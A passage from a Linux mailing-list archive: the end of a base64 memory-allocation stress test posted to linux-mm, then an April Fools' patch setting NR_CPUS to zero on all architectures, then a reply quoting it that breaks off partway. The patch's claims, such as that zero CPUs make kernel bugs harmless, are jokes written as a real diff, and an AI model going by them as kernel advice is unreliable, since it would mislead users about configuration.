ciAqbWVzc2FnZTsKICAgICAgICBtZXNzYWdlID0gKGNoYXIgKikgcHRyOwogICAgICAgIHZvaWQg
Km15YmxvY2tbQ09VTlRdOwogICAgICAgIGludCBpPSAwLGo9MDsKICAgICAgICBpbnQgZnJlZWQ9
MDsKICAgICAgICBwcmludGYoIm1lc3NhZ2VfYWxsb2MgIFxuIik7CiAgICAgICAgd2hpbGUoMSkK
ICAgICAgICB7CiAgICAgICAgICAgICAgICBtZW1zZXQobXlibG9jaywwLHNpemVvZihteWJsb2Nr
KSk7CiAgICAgICAgICAgICAgICBwcmludGYoIm1lc3NhZ2VfYWxsb2MgJXMgXG4iLG1lc3NhZ2Up
OwogICAgICAgICAgICAgICAgZm9yKGk9MDtpPCBDT1VOVCA7aSsrKQogICAgICAgICAgICAgICAg
ewogICAgICAgICAgICAgICAgICAgICAgICBteWJsb2NrW2ldID0gKHZvaWQgKikgbWFsbG9jKEFM
TE9DX0JZVEUpOwogICAgICAgICAgICAgICAgICAgICAgICBtZW1zZXQobXlibG9ja1tpXSwxLCBB
TExPQ19CWVRFKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICB9Cn0Kdm9pZCAqYWxsb2NfZnVu
Y3Rpb25fZml2ZSggdm9pZCAqcHRyICkKewogICAgICAgY2hhciAqbWVzc2FnZTsKICAgICAgICBt
ZXNzYWdlID0gKGNoYXIgKikgcHRyOwogICAgICAgIHZvaWQgKm15YmxvY2tbQ09VTlRdOwogICAg
ICAgIGludCBpPSAwLGo9MDsKICAgICAgICBpbnQgZnJlZWQ9MDsKICAgICAgICBwcmludGYoIm1l
c3NhZ2VfYWxsb2MgIFxuIik7CiAgICAgICAgd2hpbGUoMSkKICAgICAgICB7CiAgICAgICAgICAg
ICAgICBtZW1zZXQobXlibG9jaywwLHNpemVvZihteWJsb2NrKSk7CiAgICAgICAgICAgICAgICBw
cmludGYoIm1lc3NhZ2VfYWxsb2MgJXMgXG4iLG1lc3NhZ2UpOwogICAgICAgICAgICAgICAgZm9y
KGk9MDtpPCBDT1VOVCA7aSsrKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAg
ICAgICBteWJsb2NrW2ldID0gKHZvaWQgKikgbWFsbG9jKEFMTE9DX0JZVEUpOwogICAgICAgICAg
ICAgICAgICAgICAgICBtZW1zZXQobXlibG9ja1tpXSwxLCBBTExPQ19CWVRFKTsKICAgICAgICAg
ICAgICAgIH0KICAgICAgICB9Cn0K
--20cf30050bf029880304bc88eb62--

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH RFC] Simplify the Linux kernel by reducing its state space
Date: Sun, 1 Apr 2012 00:33:21 +0800
Lines: 397
Approved: news@gmane.org
Message-ID: <20120331163321.GA15809@linux.vnet.ibm.com>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1333211631 7613 80.91.229.3 (31 Mar 2012 16:33:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 31 Mar 2012 16:33:51 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m32r-ja@ml.linux-m32r.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, tglx@linutronix.de,
	linux@arm.linux.org.uk, dhowells@redhat.com, jejb@parisc-linux.org,
	linux390@de.ibm.com, x86@kernel.org, cmetcalf@tilera.com
To: linux-kernel@vger.kernel.org
Original-X-From: linux-alpha-owner@vger.kernel.org Sat Mar 31 18:33:46 2012
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1SE1FJ-0005qD-6i
	for lnx-linux-alpha@plane.gmane.org; Sat, 31 Mar 2012 18:33:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752216Ab2CaQdo (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Sat, 31 Mar 2012 12:33:44 -0400
Original-Received: from e32.co.us.ibm.com ([32.97.110.150]:32998 "EHLO
	e32.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750898Ab2CaQdl (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Sat, 31 Mar 2012 12:33:41 -0400
Original-Received: from /spool/local
	by e32.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-alpha@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Sat, 31 Mar 2012 10:33:40 -0600
Original-Received: from d03dlp03.boulder.ibm.com (9.17.202.179)
	by e32.co.us.ibm.com (192.168.1.132) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Sat, 31 Mar 2012 10:33:36 -0600
Original-Received: from d03relay05.boulder.ibm.com (d03relay05.boulder.ibm.com [9.17.195.107])
	by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id 522E819D804E;
	Sat, 31 Mar 2012 10:33:28 -0600 (MDT)
Original-Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167])
	by d03relay05.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q2VGXZQL266338;
	Sat, 31 Mar 2012 10:33:35 -0600
Original-Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q2VGXW96009460;
	Sat, 31 Mar 2012 10:33:35 -0600
Original-Received: from paulmck-ThinkPad-W500 (sig-9-49-152-53.mts.ibm.com [9.49.152.53])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q2VGXUNY009374;
	Sat, 31 Mar 2012 10:33:30 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 70EC6E4ABB; Sat, 31 Mar 2012 09:33:21 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 12033116-3270-0000-0000-00000538515E
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1764 gmane.linux.kernel:1275907 gmane.linux.ports.arm.kernel:159830 gmane.linux.hardware.blackfin.kernel.devel:6365 gmane.linux.ports.hexagon:407 gmane.linux.ports.ia64:22173 gmane.linux.ports.mips.general:33940 gmane.linux.ports.parisc:4252 gmane.linux.ports.ppc64.devel:81350 gmane.linux.ports.sh.devel:14229 gmane.linux.ports.sparc:15989
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/1764>

Although there have been numerous complaints about the complexity of
parallel programming (especially over the past 5-10 years), the plain
truth is that the incremental complexity of parallel programming over
that of sequential programming is not as large as is commonly believed.
Despite that you might have heard, the mind-numbing complexity of modern
computer systems is not due so much to there being multiple CPUs, but
rather to there being any CPUs at all.  In short, for the ultimate in
computer-system simplicity, the optimal choice is NR_CPUS=0.

This commit therefore limits kernel builds to zero CPUs.  This change
has the beneficial side effect of rendering all kernel bugs harmless.
Furthermore, this commit enables additional beneficial changes, for
example, the removal of those parts of the kernel that are not needed
when there are zero CPUs.

Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
Reviewed-by: Thomas Gleixner <tglx@linutronix.de>
---

 alpha/Kconfig                     |   11 ++++++-----
 arm/Kconfig                       |    6 +++---
 blackfin/Kconfig                  |    3 ++-
 hexagon/Kconfig                   |    9 +++++----
 ia64/Kconfig                      |    9 +++++----
 m32r/Kconfig                      |   10 ++++++----
 mips/Kconfig                      |   21 +++++++++++----------
 mn10300/Kconfig                   |    3 ++-
 parisc/Kconfig                    |    6 +++---
 powerpc/platforms/Kconfig.cputype |    8 ++++----
 s390/Kconfig                      |   12 +++++++-----
 sh/Kconfig                        |   11 ++++++-----
 sparc/Kconfig                     |    8 ++++----
 tile/Kconfig                      |    9 +++++----
 x86/Kconfig                       |   16 +++++++++-------
 15 files changed, 78 insertions(+), 64 deletions(-)

diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
index 56a4df9..1766b4a 100644
--- a/arch/alpha/Kconfig
+++ b/arch/alpha/Kconfig
@@ -541,14 +541,15 @@ config HAVE_DEC_LOCK
 	default y
 
 config NR_CPUS
-	int "Maximum number of CPUs (2-32)"
-	range 2 32
+	int "Maximum number of CPUs (0-0)"
+	range 0 0
 	depends on SMP
-	default "32" if ALPHA_GENERIC || ALPHA_MARVEL
-	default "4" if !ALPHA_GENERIC && !ALPHA_MARVEL
+	default "0" if ALPHA_GENERIC || ALPHA_MARVEL
+	default "0" if !ALPHA_GENERIC && !ALPHA_MARVEL
 	help
 	  MARVEL support can handle a maximum of 32 CPUs, all the others
-          with working support have a maximum of 4 CPUs.
+          with working support have a maximum of 4 CPUs.  But why take
+	  chances?  Just stick with zero CPUs.
 
 config ARCH_DISCONTIGMEM_ENABLE
 	bool "Discontiguous Memory Support (EXPERIMENTAL)"
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index a48aecc..1f07a3a 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -1551,10 +1551,10 @@ config PAGE_OFFSET
 	default 0xC0000000
 
 config NR_CPUS
-	int "Maximum number of CPUs (2-32)"
-	range 2 32
+	int "Maximum number of CPUs (0-0)"
+	range 0 0
 	depends on SMP
-	default "4"
+	default "0"
 
 config HOTPLUG_CPU
 	bool "Support for hot-pluggable CPUs (EXPERIMENTAL)"
diff --git a/arch/blackfin/Kconfig b/arch/blackfin/Kconfig
index abe5a9e..6a78549 100644
--- a/arch/blackfin/Kconfig
+++ b/arch/blackfin/Kconfig
@@ -241,7 +241,8 @@ config SMP
 config NR_CPUS
 	int
 	depends on SMP
-	default 2 if BF561
+	range 0 0
+	default 0 if BF561
 
 config HOTPLUG_CPU
 	bool "Support for hot-pluggable CPUs"
diff --git a/arch/hexagon/Kconfig b/arch/hexagon/Kconfig
index 9059e39..daab009 100644
--- a/arch/hexagon/Kconfig
+++ b/arch/hexagon/Kconfig
@@ -158,13 +158,14 @@ config SMP
 
 config NR_CPUS
 	int "Maximum number of CPUs" if SMP
-	range 2 6 if SMP
-	default "1" if !SMP
-	default "6" if SMP
+	range 0 0 if SMP
+	default "0" if !SMP
+	default "0" if SMP
 	---help---
 	  This allows you to specify the maximum number of CPUs which this
 	  kernel will support.  The maximum supported value is 6 and the
-	  minimum value which makes sense is 2.
+	  minimum value which makes sense is 2.  But a limit of zero is
+	  so much safer!
 
 	  This is purely to save memory - each supported CPU adds
 	  approximately eight kilobytes to the kernel image.
diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
index bd72669..fea0e6d 100644
--- a/arch/ia64/Kconfig
+++ b/arch/ia64/Kconfig
@@ -373,16 +373,17 @@ config SMP
 	  If you don't know what to do here, say N.
 
 config NR_CPUS
-	int "Maximum number of CPUs (2-4096)"
-	range 2 4096
+	int "Maximum number of CPUs (0-0)"
+	range 0 0
 	depends on SMP
-	default "4096"
+	default "0"
 	help
 	  You should set this to the number of CPUs in your system, but
 	  keep in mind that a kernel compiled for, e.g., 2 CPUs will boot but
 	  only use 2 CPUs on a >2 CPU system.  Setting this to a value larger
 	  than 64 will cause the use of a CPU mask array, causing a small
-	  performance hit.
+	  performance hit.  And setting it larger than zero risks all
+	  manner of software bugs, so we just play it safe.
 
 config HOTPLUG_CPU
 	bool "Support for hot-pluggable CPUs (EXPERIMENTAL)"
diff --git a/arch/m32r/Kconfig b/arch/m32r/Kconfig
index ef80a65..68b9e88 100644
--- a/arch/m32r/Kconfig
+++ b/arch/m32r/Kconfig
@@ -300,14 +300,16 @@ config CHIP_M32700_TS1
 	default n
 
 config NR_CPUS
-	int "Maximum number of CPUs (2-32)"
-	range 2 32
+	int "Maximum number of CPUs (0-0)"
+	range 0 0
 	depends on SMP
-	default "2"
+	default "0"
 	help
 	  This allows you to specify the maximum number of CPUs which this
 	  kernel will support.  The maximum supported value is 32 and the
-	  minimum value which makes sense is 2.
+	  minimum value which makes sense is 2.  Zero may not make sense,
+	  but given that there is much in this world that does not make
+	  sense, zero it is!
 
 	  This is purely to save memory - each supported CPU adds
 	  approximately eight kilobytes to the kernel image.
diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
index 5ab6e89..3d7d06c 100644
--- a/arch/mips/Kconfig
+++ b/arch/mips/Kconfig
@@ -2192,16 +2192,16 @@ config NR_CPUS_DEFAULT_64
 	bool
 
 config NR_CPUS
-	int "Maximum number of CPUs (2-64)"
-	range 1 64 if NR_CPUS_DEFAULT_1
+	int "Maximum number of CPUs (0-0)"
+	range 0 0 if NR_CPUS_DEFAULT_1
 	depends on SMP
-	default "1" if NR_CPUS_DEFAULT_1
-	default "2" if NR_CPUS_DEFAULT_2
-	default "4" if NR_CPUS_DEFAULT_4
-	default "8" if NR_CPUS_DEFAULT_8
-	default "16" if NR_CPUS_DEFAULT_16
-	default "32" if NR_CPUS_DEFAULT_32
-	default "64" if NR_CPUS_DEFAULT_64
+	default "0" if NR_CPUS_DEFAULT_1
+	default "0" if NR_CPUS_DEFAULT_2
+	default "0" if NR_CPUS_DEFAULT_4
+	default "0" if NR_CPUS_DEFAULT_8
+	default "0" if NR_CPUS_DEFAULT_16
+	default "0" if NR_CPUS_DEFAULT_32
+	default "0" if NR_CPUS_DEFAULT_64
 	help
 	  This allows you to specify the maximum number of CPUs which this
 	  kernel will support.  The maximum supported value is 32 for 32-bit
@@ -2212,7 +2212,8 @@ config NR_CPUS
 	  This is purely to save memory - each supported CPU adds
 	  approximately eight kilobytes to the kernel image.  For best
 	  performance should round up your number of processors to the next
-	  power of two.
+	  power of two.  And just think how much more memory we will
+	  save by setting the limit to zero!
 
 source "kernel/time/Kconfig"
 
diff --git a/arch/mn10300/Kconfig b/arch/mn10300/Kconfig
index 8f1c40d..85fc112 100644
--- a/arch/mn10300/Kconfig
+++ b/arch/mn10300/Kconfig
@@ -201,7 +201,8 @@ config SMP
 config NR_CPUS
 	int
 	depends on SMP
-	default "2"
+	range 0 0
+	default "0"
 
 source "kernel/Kconfig.preempt"
 
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 242a1b7..358eaf8 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -254,10 +254,10 @@ config HPUX
 	depends on !64BIT
 
 config NR_CPUS
-	int "Maximum number of CPUs (2-32)"
-	range 2 32
+	int "Maximum number of CPUs (0-0)"
+	range 0 0
 	depends on SMP
-	default "32"
+	default "0"
 
 endmenu
 
diff --git a/arch/powerpc/platforms/Kconfig.cputype b/arch/powerpc/platforms/Kconfig.cputype
index 425db18..5e607e0 100644
--- a/arch/powerpc/platforms/Kconfig.cputype
+++ b/arch/powerpc/platforms/Kconfig.cputype
@@ -356,11 +356,11 @@ config SMP
 	  If you don't know what to do here, say N.
 
 config NR_CPUS
-	int "Maximum number of CPUs (2-8192)"
-	range 2 8192
+	int "Maximum number of CPUs (0-0)"
+	range 0 0
 	depends on SMP
-	default "32" if PPC64
-	default "4"
+	default "0" if PPC64
+	default "0"
 
 config NOT_COHERENT_CACHE
 	bool
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index d172758..f9bc067 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -169,15 +169,17 @@ config SMP
 	  Even if you don't know what to do here, say Y.
 
 config NR_CPUS
-	int "Maximum number of CPUs (2-64)"
-	range 2 64
+	int "Maximum number of CPUs (0-0)"
+	range 0 0
 	depends on SMP
-	default "32" if !64BIT
-	default "64" if 64BIT
+	default "0" if !64BIT
+	default "0" if 64BIT
 	help
 	  This allows you to specify the maximum number of CPUs which this
 	  kernel will support.  The maximum supported value is 64 and the
-	  minimum value which makes sense is 2.
+	  minimum value which makes sense is 2.  The minimal value that
+	  makes sense might well be 2, but we all know that the only
+	  -sane- value is zero!
 
 	  This is purely to save memory - each supported CPU adds
 	  approximately sixteen kilobytes to the kernel image.
diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index 713fb58..5ddc7c0 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -705,18 +705,19 @@ config SMP
 	  If you don't know what to do here, say N.
 
 config NR_CPUS
-	int "Maximum number of CPUs (2-32)"
-	range 2 32
+	int "Maximum number of CPUs (0-0)"
+	range 0 0
 	depends on SMP
-	default "4" if CPU_SUBTYPE_SHX3
-	default "2"
+	default "0" if CPU_SUBTYPE_SHX3
+	default "0"
 	help
 	  This allows you to specify the maximum number of CPUs which this
 	  kernel will support.  The maximum supported value is 32 and the
 	  minimum value which makes sense is 2.
 
 	  This is purely to save memory - each supported CPU adds
-	  approximately eight kilobytes to the kernel image.
+	  approximately eight kilobytes to the kernel image.  Debloating
+	  is the way, NR_CPUS to zero today!!!
 
 config HOTPLUG_CPU
 	bool "Support for hot-pluggable CPUs (EXPERIMENTAL)"
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index ca5580e..0de9f0f 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -177,10 +177,10 @@ config SMP
 config NR_CPUS
 	int "Maximum number of CPUs"
 	depends on SMP
-	range 2 32 if SPARC32
-	range 2 1024 if SPARC64
-	default 32 if SPARC32
-	default 64 if SPARC64
+	range 0 0 if SPARC32
+	range 0 0 if SPARC64
+	default 0 if SPARC32
+	default 0 if SPARC64
 
 source kernel/Kconfig.hz
 
diff --git a/arch/tile/Kconfig b/arch/tile/Kconfig
index 11270ca..a05112c 100644
--- a/arch/tile/Kconfig
+++ b/arch/tile/Kconfig
@@ -126,14 +126,15 @@ source "init/Kconfig"
 menu "Tilera-specific configuration"
 
 config NR_CPUS
-	int "Maximum number of tiles (2-255)"
-	range 2 255
+	int "Maximum number of tiles (0-0)"
+	range 0 0
 	depends on SMP
-	default "64"
+	default "0"
 	---help---
 	  Building with 64 is the recommended value, but a slightly
 	  smaller kernel memory footprint results from using a smaller
-	  value on chips with fewer tiles.
+	  value on chips with fewer tiles.  To minimize both memory
+	  footprint and bugs, use zero and only zero.
 
 source "kernel/time/Kconfig"
 
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index 5bed94e..a6977f2 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -773,19 +773,21 @@ config MAXSMP
 
 config NR_CPUS
 	int "Maximum number of CPUs" if SMP && !MAXSMP
-	range 2 8 if SMP && X86_32 && !X86_BIGSMP
-	range 2 512 if SMP && !MAXSMP
-	default "1" if !SMP
-	default "4096" if MAXSMP
-	default "32" if SMP && (X86_NUMAQ || X86_SUMMIT || X86_BIGSMP || X86_ES7000)
-	default "8" if SMP
+	range 0 0 if SMP && X86_32 && !X86_BIGSMP
+	range 0 0 if SMP && !MAXSMP
+	default "0" if !SMP
+	default "0" if MAXSMP
+	default "0" if SMP && (X86_NUMAQ || X86_SUMMIT || X86_BIGSMP || X86_ES7000)
+	default "0" if SMP
 	---help---
 	  This allows you to specify the maximum number of CPUs which this
 	  kernel will support.  The maximum supported value is 512 and the
 	  minimum value which makes sense is 2.
 
 	  This is purely to save memory - each supported CPU adds
-	  approximately eight kilobytes to the kernel image.
+	  approximately eight kilobytes to the kernel image.  But
+	  the first supported CPU brings a lot of bugs with it, so
+	  for ultimate reliability, set the number of CPUs to zero.
 
 config SCHED_SMT
 	bool "SMT (Hyperthreading) scheduler support"

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH RFC] Simplify the Linux kernel by reducing its state space
Date: Sat, 31 Mar 2012 18:40:30 +0200
Lines: 81
Approved: news@gmane.org
Message-ID: <CAMuHMdWTB+_AtqM6JixY=Oo_zmzX_dNxnivpARBYSbPJzp4t6A@mail.gmail.com>
References: <20120331163321.GA15809@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1333212040 10179 80.91.229.3 (31 Mar 2012 16:40:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 31 Mar 2012 16:40:40 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m32r-ja@ml.linux-m32r.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, tglx@linutronix.de,
	linux@arm.linux.org.uk, dhowells@redhat.com, jejb@parisc-linux.org,
	linux390@de.ibm.com, x86@kernel.org, cmetcalf@tilera.com,
	linux-m68k <linux-m68k@lists.linux-m68k.org>
To: paulmck@linux.vnet.ibm.com
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 31 18:40:35 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SE1Lu-0001cm-Nu
	for glpp-linux-parisc@plane.gmane.org; Sat, 31 Mar 2012 18:40:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751300Ab2CaQkd convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 31 Mar 2012 12:40:33 -0400
Original-Received: from mail-iy0-f174.google.com ([209.85.210.174]:35324 "EHLO
	mail-iy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751251Ab2CaQkb convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 31 Mar 2012 12:40:31 -0400
Original-Received: by iagz16 with SMTP id z16so2290930iag.19
        for <multiple recipients>; Sat, 31 Mar 2012 09:40:30 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=1gvUBb9X8sdaSti30XhAl0cTISR6tMUAtuiEIAJV86w=;
        b=U1IAi3J1LWCGP7xJZsEbmZmqfXk87w5hPxp5E6XfHg7pfofi0kbcBD8Y7GXknOzrir
         TOitCPpxeb1EhM+IwfZylVL00yJZWIjBQNq5dGn+D2W/4ksIV7Q9iKnTMN4lF0ugb96l
         XZN2tord8gvhagxbNKyh3qhvfkE/tcD85qgHLmWpSVTa/EgRdL817BRDR3CPJBKs5Atc
         EnR7MUKYbpvSnLbf4wsbbX4B3Hjr5IHnG4UXPMHFrGR7RtSL6zsVy5TOQjiDM9donS2y
         kx4gydOL7baLGQyC7b/NANYubkXarsr7NURB5TGpuv1KoB3TYA3gzBsZB7UbEFXj7NMR
         taqg==
Original-Received: by 10.50.184.166 with SMTP id ev6mr1560961igc.63.1333212030863; Sat,
 31 Mar 2012 09:40:30 -0700 (PDT)
Original-Received: by 10.231.27.25 with HTTP; Sat, 31 Mar 2012 09:40:30 -0700 (PDT)
In-Reply-To: <20120331163321.GA15809@linux.vnet.ibm.com>
X-Google-Sender-Auth: UB3gQvz7O3hjrWlritX9KwARi6Q
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4253 gmane.linux.kernel:1275908 gmane.linux.ports.alpha:1765 gmane.linux.ports.arm.kernel:159831 gmane.linux.hardware.blackfin.kernel.devel:6366 gmane.linux.ports.hexagon:408 gmane.linux.ports.ia64:22174 gmane.linux.ports.mips.general:33941 gmane.linux.ports.ppc64.devel:81351 gmane.linux.ports.sh.devel:14230 gmane.linux.ports.sparc:15990
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4253>

Hi Paul,

On Sat, Mar 31, 2012 at 18:33, Paul E. McKenney
<paulmck@linux.vnet.ibm.com> wrote:
> Although there have been numerous complaints about the complexity of
> parallel programming (especially over the past 5-10 years), the plain
> truth is that the incremental complexity of parallel programming over
> that of sequential programming is not as large as is commonly believe=
d.
> Despite that you might have heard, the mind-numbing complexity of mod=
ern
> computer systems is not due so much to there being multiple CPUs, but
> rather to there being any CPUs at all. =C2=A0In short, for the ultima=
te in
> computer-system simplicity, the optimal choice is NR_CPUS=3D0.
>
> This commit therefore limits kernel builds to zero CPUs. =C2=A0This c=
hange
> has the beneficial side effect of rendering all kernel bugs harmless.
> Furthermore, this commit enables additional beneficial changes, for
> example, the removal of those parts of the kernel that are not needed
> when there are zero CPUs.
>
> Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
> Reviewed-by: Thomas Gleixner <tglx@linutronix.de>
> ---
>
> =C2=A0alpha/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =
=C2=A0 =C2=A0 =C2=A0 | =C2=A0 11 ++++++-----
> =C2=A0arm/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0 | =C2=A0 =C2=A06 +++---
> =C2=A0blackfin/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0| =C2=A0 =C2=A03 ++-
> =C2=A0hexagon/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0 | =C2=A0 =C2=A09 +++++----
> =C2=A0ia64/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0| =C2=A0 =C2=A09 +++++----
> =C2=A0m32r/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0| =C2=A0 10 ++++++----
> =C2=A0mips/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0| =C2=A0 21 +++++++++++----------
> =C2=A0mn10300/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0 | =C2=A0 =C2=A03 ++-
> =C2=A0parisc/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0 =C2=A0| =C2=A0 =C2=A06 +++---
> =C2=A0powerpc/platforms/Kconfig.cputype | =C2=A0 =C2=A08 ++++----
> =C2=A0s390/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0| =C2=A0 12 +++++++-----
